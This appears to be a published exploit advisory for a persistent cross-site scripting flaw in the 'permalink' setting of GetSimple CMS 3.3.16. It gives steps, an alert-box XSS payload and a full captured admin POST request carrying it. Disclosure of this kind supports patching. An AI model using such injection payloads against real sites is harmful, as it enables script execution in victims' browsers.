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GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)

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# Exploit Title: GetSimple CMS 3.3.16 - Persistent Cross-Site Scripting (Authenticated)
# Google Dork: -
# Date: 2020-09-29
# Exploit Author: Roel van Beurden
# Vendor Homepage: http://get-simple.info
# Software Link: http://get-simple.info/download
# Version: 3.3.16
# Tested on: Linux Ubuntu 18.04
# CVE: N/A


1. Description:
----------------------
GetSimple CMS 3.3.16 allows in parameter 'permalink' on the Settings page persistent Cross Site Scripting which is executed when you create and open a new page.


3. Affected parameter:
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'permalink' on /admin/settings.php


3. Exploitation steps:
----------------------
1: Create a new page
2: Go to Settings on the right top of the page
3: Add XSS payload to "Custom Permalink Structure" text field
4: Save Settings
5: Go to the tab 'pages' to trigger the XSS alert popup


3: Example payload:
----------------------
"><img src=x onerror=alert('XSS')>


4: Burp Request:
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POST /GetSimpleCMS-3.3.16/admin/settings.php HTTP/1.1

Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/GetSimpleCMS-3.3.16/admin/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 349
Connection: close
Cookie: __atuvc=22%7C39; __atuvs=5f689d4d88949892015; GS_ADMIN_USERNAME=admin; d46405c5e4a3aa8c65850d4fa6ba75e926569261=1995ba85457ab3e86fa5e01f9ed5267cf9775880
Upgrade-Insecure-Requests: 1

nonce=c4577f17fac90ca1b8306ce48571c27a0a7923ec&sitename=GetSimple+Test+VM&siteurl=http%3A%2F%2F127.0.0.1%2FGetSimpleCMS-3.3.16%2F&prettyurls=1&permalink=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSS%27%29%3E&user=admin&email=admin%40example.org&name=&timezone=&lang=en_US&show_htmleditor=1&sitepwd=&sitepwd_confirm=&submitted=Save+Settings


5: Exploitation demo:
----------------------
https://www.youtube.com/watch?v=8IMfD5KGt_U
            
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